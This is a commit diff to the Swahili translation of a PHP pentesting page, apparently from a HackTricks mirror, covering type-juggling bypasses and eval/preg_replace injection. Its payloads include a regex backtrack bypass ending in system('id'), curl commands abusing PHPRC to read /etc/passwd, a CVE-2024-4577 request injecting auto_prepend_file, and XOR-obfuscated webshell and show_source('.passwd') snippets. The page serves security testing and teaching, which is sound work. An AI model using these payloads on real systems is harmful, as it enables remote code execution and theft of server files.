mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R
This commit is contained in:
parent
19ea317f38
commit
4eee7533de
1 changed files with 60 additions and 37 deletions
|
@ -20,7 +20,9 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Mahali ya Kawaida ya Vidakuzi:
|
||||
|
||||
Hii pia ni halali kwa vidakuzi vya phpMyAdmin.
|
||||
Hii pia ni sahihi kwa vidakuzi vya phpMyAdmin.
|
||||
|
||||
Vidakuzi:
|
||||
```
|
||||
PHPSESSID
|
||||
phpMyAdmin
|
||||
|
@ -36,7 +38,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### Ulinganisho wa Kupumzika/Type Juggling ( == )
|
||||
|
||||
Ikiwa `==` inatumika katika PHP, basi kuna matukio yasiyotarajiwa ambapo ulinganisho haifanyi kazi kama ilivyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina ile ile, ikiwa unataka pia kulinganisha aina ya data inayolinganishwa iwe sawa unahitaji kutumia `===`.
|
||||
Ikiwa `==` inatumika katika PHP, basi kuna hali zisizotarajiwa ambapo ulinganisho haifanyi kazi kama ilivyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina ile ile, ikiwa unataka pia kulinganisha kwamba aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`.
|
||||
|
||||
Vitabu vya Ulinganisho wa PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -46,9 +48,9 @@ Vitabu vya Ulinganisho wa PHP: [https://www.php.net/manual/en/types.comparisons.
|
|||
|
||||
* `"string" == 0 -> Kweli` String ambayo haianzi na nambari ni sawa na nambari
|
||||
* `"0xAAAA" == "43690" -> Kweli` Maneno yaliyoundwa na nambari katika muundo wa dec au hex yanaweza kulinganishwa na nambari/maneno mengine na matokeo ya Kweli ikiwa nambari zilikuwa sawa (nambari katika string zinaeleweka kama nambari)
|
||||
* `"0e3264578" == 0 --> Kweli` String inayoanza na "0e" na ikifuatiwa na chochote itakuwa sawa na 0
|
||||
* `"0X3264578" == 0X --> Kweli` String inayoanza na "0" na ikifuatiwa na herufi yoyote (X inaweza kuwa herufi yoyote) na ikifuatiwa na chochote itakuwa sawa na 0
|
||||
* `"0e12334" == "0" --> Kweli` Hii ni ya kuvutia sana kwa sababu katika baadhi ya matukio unaweza kudhibiti kuingiza string ya "0" na baadhi ya maudhui ambayo yanahashishwa na kulinganishwa nayo. Kwa hivyo, ikiwa unaweza kutoa thamani ambayo itaunda hash ikiwaanza na "0e" na bila herufi yoyote, unaweza kupita kwa kulinganisha. Unaweza kupata **maneno yaliyohashishwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"0e3264578" == 0 --> Kweli` String ikiwaanza na "0e" na ikifuatiwa na chochote itakuwa sawa na 0
|
||||
* `"0X3264578" == 0X --> Kweli` String ikiwaanza na "0" na ikifuatiwa na herufi yoyote (X inaweza kuwa herufi yoyote) na ikifuatiwa na chochote itakuwa sawa na 0
|
||||
* `"0e12334" == "0" --> Kweli` Hii ni ya kuvutia sana kwa sababu katika baadhi ya hali unaweza kudhibiti kuingiza string ya "0" na baadhi ya maudhui ambayo yanahashishwa na kulinganishwa nayo. Kwa hivyo, ikiwa unaweza kutoa thamani ambayo itaunda hash ikiwaanza na "0e" na bila herufi yoyote, unaweza kupita kwa kulinganisha. Unaweza kupata **maneno yaliyohashishwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> Kweli` Herufi yoyote katika string ni sawa na int 0
|
||||
|
||||
Maelezo zaidi katika [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
@ -74,17 +76,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
|||
```
|
||||
### Ulinganifu wa Aina Kubwa
|
||||
|
||||
Hata kama `===` inatumika, kunaweza kuwa na makosa ambayo yanafanya ulinganifu uwe hatarini kwa ulinganifu wa aina. Kwa mfano, ikiwa ulinganifu unabadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha:
|
||||
Hata kama `===` inatumika, kunaweza kuwa na makosa yanayofanya ulinganifu uwe hatarini kwa ulinganifu wa aina. Kwa mfano, ikiwa ulinganifu unabadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** inaweza kutumika kwa **kuthibitisha kuingia kwa mtumiaji** (inachunguza ikiwa kuna **neno/regex** lolote kutoka kwa **orodha nyeusi** lipo kwenye **kuingia kwa mtumiaji** na ikiwa halipo, nambari inaweza kuendelea na utekelezaji wake).
|
||||
**`preg_match()`** inaweza kutumika kwa **kuthibitisha matokeo ya mtumiaji** (inachunguza ikiwa kuna **neno/regex** lolote kutoka kwenye **orodha ya kuzuia** lipo kwenye **matokeo ya mtumiaji** na ikiwa halipo, msimbo unaweza kuendelea na utekelezaji wake).
|
||||
|
||||
#### Kupita kwa Mstari Mpya
|
||||
#### Kupitisha mstari mpya
|
||||
|
||||
Hata hivyo, wakati wa kudhibiti mwanzo wa regexp `preg_match()` **inachunguza tu mstari wa kwanza wa kuingia kwa mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** kuingia kwa mtumiaji katika **mistari kadhaa**, unaweza kupita kwenye ukaguzi huu. Mfano:
|
||||
Hata hivyo, wakati wa kudhibiti mwanzo wa regexp `preg_match()` **inachunguza tu mstari wa kwanza wa matokeo ya mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kupeleka** matokeo katika **mistari kadhaa**, unaweza kufanikiwa kupitisha ukaguzi huu. Mfano:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -105,7 +107,7 @@ Ili kudukua ukaguzi huu unaweza **kupeleka thamani na mistari mipya iliyofanywa
|
|||
```
|
||||
Pata mfano hapa: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **Kosa la Urefu Kupita**
|
||||
#### **Kosa la Urefu**
|
||||
|
||||
(Hii njia ya kudukua ilijaribiwa kwa PHP 5.2.5 na sikufanikiwa kuifanya kazi kwa PHP 7.3.15)\
|
||||
Ikiwa unaweza kutuma kwa `preg_match()` kiingilio kikubwa sana **halali**, haitaweza **kuliprocess** na utaweza **kudukua** ukaguzi huo. Kwa mfano, ikiwa inazuia JSON unaweza kutuma:
|
||||
|
@ -118,13 +120,13 @@ Mbinu kutoka: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ct
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kwa ufupi tatizo hutokea kwa sababu `preg_*` functions katika PHP inategemea [maktaba ya PCRE](http://www.pcre.org/). Katika PCRE, mifano fulani ya maneno ya kawaida hulinganishwa kwa kutumia wito mwingi wa kurudia, ambao unatumia nafasi nyingi ya steki. Inawezekana kuweka kikomo kwa idadi ya kurudia inayoruhusiwa, lakini katika PHP kikomo hiki [kawaida ni 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambayo ni zaidi ya inavyolingana na steki.
|
||||
Kwa ufupi tatizo hutokea kwa sababu `preg_*` functions katika PHP inategemea [maktaba ya PCRE](http://www.pcre.org/). Katika PCRE, mifano fulani ya kawaida hulinganishwa kwa kutumia wito mwingi wa kurekodi, ambao unatumia nafasi nyingi ya stak. Inawezekana kuweka kikomo kwenye idadi ya kurudia kuruhusiwa, lakini katika PHP kikomo hiki [kawaida ni 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambayo ni zaidi ya inavyolingana kwenye stak.
|
||||
|
||||
[Uzi huu wa Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ulilinkiwa katika chapisho ambapo inazungumziwa kwa undani zaidi kuhusu suala hili. Kazi yetu ilikuwa wazi sasa:\
|
||||
**Tuma kuingiza ambacho kitafanya regex ifanye kurudia 100,000+, kusababisha SIGSEGV, kufanya `preg_match()` function irudishe `false` hivyo kufanya programu iamini kwamba kuingiza chetu si mbaya, kutupa mshangao mwishoni mwa mzigo kama `{system(<amri mbaya sana>)}` kupata SSTI --> RCE --> bendera :)**.
|
||||
[Thread hii ya Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ilihusishwa katika chapisho ambapo inazungumziwa kwa undani zaidi kuhusu suala hili. Kazi yetu ilikuwa wazi sasa:\
|
||||
**Tuma kuingiza ambayo itafanya regex ifanye kurudia 100,000+, kusababisha SIGSEGV, kufanya `preg_match()` function irudishe `false` hivyo kufanya programu iweze kufikiria kuingiza yetu si mbaya, kutupa mshangao mwishoni mwa mzigo kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> bendera :)**.
|
||||
|
||||
Vizuri, kwa maneno ya regex, hatufanyi kweli "kurudia" 100k, bali badala yake tunahesabu "hatua za kurudi nyuma", ambazo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema kawaida ni 1,000,000 (1M) katika kipengele cha `pcre.backtrack_limit`.\
|
||||
Kufikia hilo, `'X'*500_001` itatoa hatua milioni moja za kurudi nyuma (mbele 500k na nyuma 500k):
|
||||
Vizuri, kwa maneno ya regex, hatufanyi kweli "kurudia" 100k, bali badala yake tunahesabu "hatua za kurudi nyuma", ambazo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinaeleza kawaida ni 1,000,000 (1M) katika kipengele cha `pcre.backtrack_limit`.\
|
||||
Ili kufikia hilo, `'X'*500_001` itatoa hatua milioni moja za kurudi nyuma (mbele 500k na nyuma 500k):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
|
@ -141,7 +143,7 @@ $obfs += ""; //int 7
|
|||
```
|
||||
## Tekeleza Baada ya Kuelekeza (EAR)
|
||||
|
||||
Ikiwa PHP inaelekeza kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayoitwa baada ya kichwa cha **`Location`** kusetiwa, PHP inaendelea kutekeleza na kuongeza data kwenye mwili:
|
||||
Ikiwa PHP inaelekeza kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayoitwa baada ya kichwa cha **`Location`** kusetiwa, PHP inaendelea kutekeleza na kuongeza data kwa mwili:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -159,18 +161,18 @@ Angalia:
|
|||
[file-inclusion](../../../pentesting-web/file-inclusion/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Mbinu Zaidi
|
||||
## Mbinu zaidi
|
||||
|
||||
* **register\_globals**: Katika **PHP < 4.1.1.1** au ikiwa imepangwa vibaya, **register\_globals** inaweza kuwa active (au tabia zao inafanana). Hii inamaanisha kwamba katika mazingira ya kipekee kama $\_GET ikiwa na thamani kama $\_GET\["param"]="1234", unaweza kuipata kupitia **$param. Hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha** variables ambazo hutumiwa ndani ya nambari.
|
||||
* **PHPSESSION cookies za kikoa kimoja zimehifadhiwa mahali pamoja**, hivyo ikiwa ndani ya kikoa **vidakuzi tofauti hutumiwa kwenye njia tofauti** unaweza kufanya njia hiyo **iweze kufikia kuki ya njia** kwa kuweka thamani ya kuki ya njia nyingine.\
|
||||
Hivyo ikiwa **njia zote mbili zinafikia variable yenye jina sawa** unaweza kufanya **thamani ya variable hiyo katika njia1 itumike kwa njia2**. Na kisha njia2 itachukua kama halali variables za njia1 (kwa kumpa kuki jina linalolingana nayo katika njia2).
|
||||
* Unapokuwa na **majina ya watumiaji** wa watumiaji wa mashine. Angalia anwani: **/\~\<USERNAME>** kuona ikiwa miongozo ya php imeamilishwa.
|
||||
* **register\_globals**: Katika **PHP < 4.1.1.1** au ikiwa imepangwa vibaya, **register\_globals** inaweza kuwa active (au tabia zao inafanana). Hii inamaanisha kwamba katika variables za kawaida kama $\_GET ikiwa zina thamani kama $\_GET\["param"]="1234", unaweza kufikia hiyo thamani kupitia **$param. Kwa hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha variables** ambazo hutumiwa ndani ya nambari.
|
||||
* **PHPSESSION cookies za kikoa kimoja zimehifadhiwa mahali pamoja**, kwa hivyo ikiwa ndani ya kikoa **vidakuzi tofauti vinatumika kwenye njia tofauti** unaweza kufanya njia hiyo **ifikie kuki ya njia** kwa kuweka thamani ya kuki ya njia nyingine.\
|
||||
Kwa njia hii ikiwa **njia zote mbili zinafikia variable yenye jina sawa** unaweza kufanya **thamani ya variable hiyo katika njia1 itumike kwa njia2**. Na kisha njia2 itachukua kama halali variables za njia1 (kwa kumpa kuki jina linalolingana nayo katika njia2).
|
||||
* Unapokuwa na **majina ya watumiaji** wa watumiaji wa mashine. Angalia anwani: **/\~\<JINA-LA-UTUMIAJI>** kuona ikiwa miongozo ya php imeamilishwa.
|
||||
* [**LFI na RCE kwa kutumia php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Hizi ni kazi zinazotumiwa kawaida katika PHP kwa **kuzalisha hashes kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
||||
Algorithms zinazoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD\_DEFAULT mara nyingi ni sawa na PASSWORD\_BCRYPT.** Na kwa sasa, **PASSWORD\_BCRYPT** ina **kizuizi cha ukubwa katika kuingia cha 72bytes**. Hivyo, unapojaribu kuhifadhi kitu kikubwa kuliko 72bytes na algorithm hii, tu 72B za kwanza zitatumika:
|
||||
Hizi kazi kawaida hutumiwa katika PHP kwa **kuzalisha hashes kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
||||
Algorithms zinazoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD\_DEFAULT mara nyingi ni sawa na PASSWORD\_BCRYPT.** Na kwa sasa, **PASSWORD\_BCRYPT** ina **kizuizi cha ukubwa katika kuingia cha 72bytes**. Kwa hivyo, unapojaribu kuhifadhi kitu kikubwa kuliko 72bytes na algorithm hii, tu 72B za kwanza zitatumika:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -218,7 +220,7 @@ Angalia ukurasa:
|
|||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
Ili kutekeleza kanuni katika hoja ya "badilisha" inahitajika angalau kulingana moja. \
|
||||
Ili kutekeleza kanuni katika hoja ya "badilisha" inahitajika angalau kulingana moja.\
|
||||
Chaguo hili la preg\_replace limekuwa **limepitwa na wakati tangu PHP 5.5.0.**
|
||||
|
||||
### **RCE kupitia Eval()**
|
||||
|
@ -238,7 +240,7 @@ Hii function ndani ya php inaruhusu wewe **kutekeleza code ambayo imeandikwa kwe
|
|||
```
|
||||
Utahitaji **kuvunja** muundo wa kanuni, **kuongeza** mzigo wako, na kisha **kuirekebisha tena**. Unaweza kutumia **shughuli za mantiki** kama "**na" au "%26%26" au "|"**. Tafadhali kumbuka kwamba "au", "||" haifanyi kazi kwa sababu ikiwa hali ya kwanza ni kweli mzigo wetu hautatekelezwa. Vivyo hivyo, ";" haifanyi kazi kwa sababu mzigo wetu hautatekelezwa.
|
||||
|
||||
**Chaguo lingine** ni kuongeza kwenye mfuatano wa utekelezaji wa amri: `'.highlight_file('.passwd').'`
|
||||
**Chaguo lingine** ni kuongeza kwenye mfuatano wa maandishi utekelezaji wa amri: `'.highlight_file('.passwd').'`
|
||||
|
||||
**Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya variable ili kubadilisha utekelezaji: `$file = "hola"`
|
||||
|
||||
|
@ -265,7 +267,7 @@ function foo($x,$y){
|
|||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
Unaweza pia kutumia **//** kutoa maoni kwenye sehemu nyingine ya msimbo.
|
||||
Unaweza pia kutumia **//** kutoa maoni ya sehemu iliyobaki ya nambari.
|
||||
|
||||
Kugundua idadi ya mabano unayohitaji kufunga:
|
||||
|
||||
|
@ -275,30 +277,51 @@ Kugundua idadi ya mabano unayohitaji kufunga:
|
|||
|
||||
### **RCE kupitia .httaccess**
|
||||
|
||||
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **configure** mambo kadhaa na hata kutekeleza msimbo (kwa kusanidi faili hizo zenye kipengee .htaccess zinaweza **kutekelezwa**).
|
||||
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **configure** mambo kadhaa na hata kutekeleza nambari (kwa kusanidi faili hizo zenye kipengee .htaccess zinaweza kutekelezwa).
|
||||
|
||||
Makombezi tofauti ya .htaccess yanaweza kupatikana [hapa](https://github.com/wireghoul/htshells)
|
||||
Mashell tofauti za .htaccess zinaweza kupatikana [hapa](https://github.com/wireghoul/htshells)
|
||||
|
||||
### RCE kupitia Mazingira ya Mazingira
|
||||
|
||||
Ikiwa unapata udhaifu unaoruhusu kurekebisha **mazingira ya mazingira katika PHP** (na mwingine wa kupakia faili, ingawa kwa utafiti zaidi labda hii inaweza kudanganywa), unaweza kutumia tabia hii kupata **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Kipengee hiki cha mazingira kinakuwezesha kupakia maktaba za kupindukia wakati wa kutekeleza programu zingine (ingawa katika kesi hii inaweza isifanye kazi).
|
||||
* **`PHPRC`** : Inaagiza PHP **mahali pa kupata faili yake ya usanidi**, kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi tumia `PHPRC` kuashiria PHP kwake. Ongeza kuingia **`auto_prepend_file`** ikieleza faili ya pili iliyopakiwa. Faili ya pili ina msimbo wa PHP wa kawaida, ambao kisha unatekelezwa na wakati wa PHP kabla ya msimbo mwingine wowote.
|
||||
1. Pakia faili ya PHP inayoleta msimbo wetu wa kificho
|
||||
2. Pakia faili ya pili, ikiwa na kuingia **`auto_prepend_file`** inayoagiza kiprocessa cha PHP kutekeleza faili tuliyopakia hatua ya 1
|
||||
* **`PHPRC`** : Inaagiza PHP **mahali pa kupata faili yake ya usanidi**, kawaida inayoitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi tumia `PHPRC` kuashiria PHP kwake. Ongeza kuingia **`auto_prepend_file`** ikieleza faili ya pili iliyopakiwa. Faili ya pili ina nambari ya PHP ya kawaida, ambayo kisha inatekelezwa na wakati wa PHP kabla ya nambari nyingine yoyote.
|
||||
1. Pakia faili ya PHP inayoleta nambari yetu ya shell
|
||||
2. Pakia faili ya pili, inayo kuingia **`auto_prepend_file`** ikiiagiza mchakato wa PHP wa awali kutekeleza faili tuliyopakia hatua ya 1
|
||||
3. Weka kipengee cha `PHPRC` kwa faili tuliyopakia hatua ya 2.
|
||||
* Pata habari zaidi juu ya jinsi ya kutekeleza mnyororo huu [**kutoka kwenye ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
* **PHPRC** - chaguo lingine
|
||||
* Ikiwa huwezi kupakia faili, unaweza kutumia kwenye FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa **mwili** wa ombi lililotumwa kwa `stdin`:
|
||||
* Ikiwa **hauwezi kupakia faili**, unaweza kutumia kwenye FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa **mwili** wa ombi lililotumwa kwa `stdin`:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* Au kupata RCE, wezesha **`allow_url_include`** na ongeza faili na **msimbo wa PHP wa base64**:
|
||||
* Au kupata RCE, wezesha **`allow_url_include`** na ongeza faili na **nambari ya PHP ya base64**:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* Mbinu [**kutoka kwenye ripoti hii**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
## Uchambuzi Stahiki wa PHP
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
Angalia ikiwa unaweza kuingiza msimbo katika wito wa kazi hizi (kutoka [hapa](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
Mtandao unachambua maombi ya HTTP na kuyapeleka kwa skripti ya PHP kutekeleza ombi kama vile [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) kama `php.exe cgi.php foo=bar`, ambayo inaruhusu kuingiza kipengee. Hii ingeweza kuruhusu kuingiza vigezo vifuatavyo kusoma nambari ya PHP kutoka mwilini:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
Zaidi ya hayo, niwezekanavyo kuingiza paramu ya "-" kwa kutumia herufi 0xAD kutokana na upyaishaji baadaye wa PHP. Angalia mfano wa kutumia mwanya kutoka [**chapisho hili**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
User-Agent: curl/8.3.0
|
||||
Accept: */*
|
||||
Content-Length: 23
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: keep-alive
|
||||
|
||||
<?php
|
||||
phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## Uchambuzi Stati wa PHP
|
||||
|
||||
Angalia kama unaweza kuingiza nambari katika wito wa kazi hizi (kutoka [hapa](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
```php
|
||||
exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
|
@ -348,7 +371,7 @@ $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #syst
|
|||
```
|
||||
### **XOR**
|
||||
|
||||
XOR ni mbinu ya kuficha data ambayo inaweza kutumika kwa kuficha strings za PHP.
|
||||
XOR ni mbinu ya kuficha data ambayo inaweza kutumika kwa kuficha payloads za malicious wakati wa kufanya exploitation.
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
|
@ -357,7 +380,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
|||
```
|
||||
### XOR msimbo wa shell rahisi
|
||||
|
||||
Kulingana na [**hii andika**](https://mgp25.com/ctf/Web-challenge/) inawezekana kuzalisha msimbo wa shell rahisi kwa njia ifuatayo:
|
||||
Kulingana na [**hii andika**](https://mgp25.com/ctf/Web-challenge/) inawezekana kuzalisha msimbo wa shell rahisi kwa njia hii:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
|
Loading…
Reference in a new issue